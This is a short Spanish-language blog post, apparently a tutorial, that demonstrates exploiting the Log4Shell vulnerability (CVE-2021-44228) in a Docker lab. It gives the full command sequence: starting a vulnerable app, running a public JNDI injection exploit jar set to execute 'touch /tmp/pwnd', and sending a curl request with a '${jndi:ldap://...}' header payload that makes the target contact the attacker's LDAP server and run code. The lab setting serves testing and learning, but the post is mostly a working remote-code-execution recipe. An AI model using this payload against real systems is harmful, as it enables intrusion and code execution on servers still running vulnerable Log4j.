POC log4j exploit.

Introducción

Recientemente ha salido a la luz la vulnerabilidad CVE-2021-44228. Muchos de los posts explican cómo comprobar si eres vulnerable, vamos a ir un paso más allá y probar algún exploit público.

Preparando el entorno.

Existe un docker creado por «christopherd» que levanta una aplicación vulnerable, perfecto para hacer pruebas sin afectar a nadie.

sudo docker run --rm -p 8080:8080 --name POC ghcr.io/christophetd/log4shell-vulnerable-app

Application deployed

Por otro lado necesitaremos ejecutar el exploit y para ello necesitamos un servidor al que nuestra aplicación tenga acceso por red. El exploit que utilizaremos se encuentra en el siguiente enlace:

https://github.com/welk1n/JNDI-Injection-Exploit

Para que funcione correctamente lo ejecutaremos dentro del contenedor docker openjdk.

sudo docker run -it -p 8180:8180 -p 1099:1099 -p 1389:1389 -v $(pwd):/data/exploit --name java openjdk:latest /bin/sh

Una vez dentro del contenedor ejecutamos el exploit. En concreto, haremos que el exploit cree el fichero «pwnd» dentro del directorio tmp, para ello ejecutaremos el siguiente comando.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C «touch /tmp/pwnd» -A <IP>

Exploit desplegado](/static/blog/img/log4j_2.png)

Explotación

Ahora vamos a la parte divertida… Para ejecutar el exploit, el creador del contenedor vulnerable nos indica que tenemos que insertar el exploit como valor de la cabecera «X-Api-Version». Para ello vamos a utilizar el enlace que marca el exploit utilizado con el curl…

curl IP:8080 -H 'X-Api-Version: ${jndi:ldap://0.0.0.0:1389/ly7kts}' 

Como podemos ver a continuación, el exploit nos ha indicado que ha recibido una conexión. Conexión recibida

Pero… ¿qué ha provocado esta conexión? Bueno, si miramos los logs de la aplicación vulnerable podemos ver que fue nuestra aplicación la que envió el curl.

Registros de la aplicación vulnerable.

Finalmente si nuestro fichero ha sido creado vemos que nuestro comando ha sido ejecutado con éxito. Y como vemos a continuación :P :

Aplicación explotada con éxito

Enlaces de interés

Exploit

Docker Vulnerable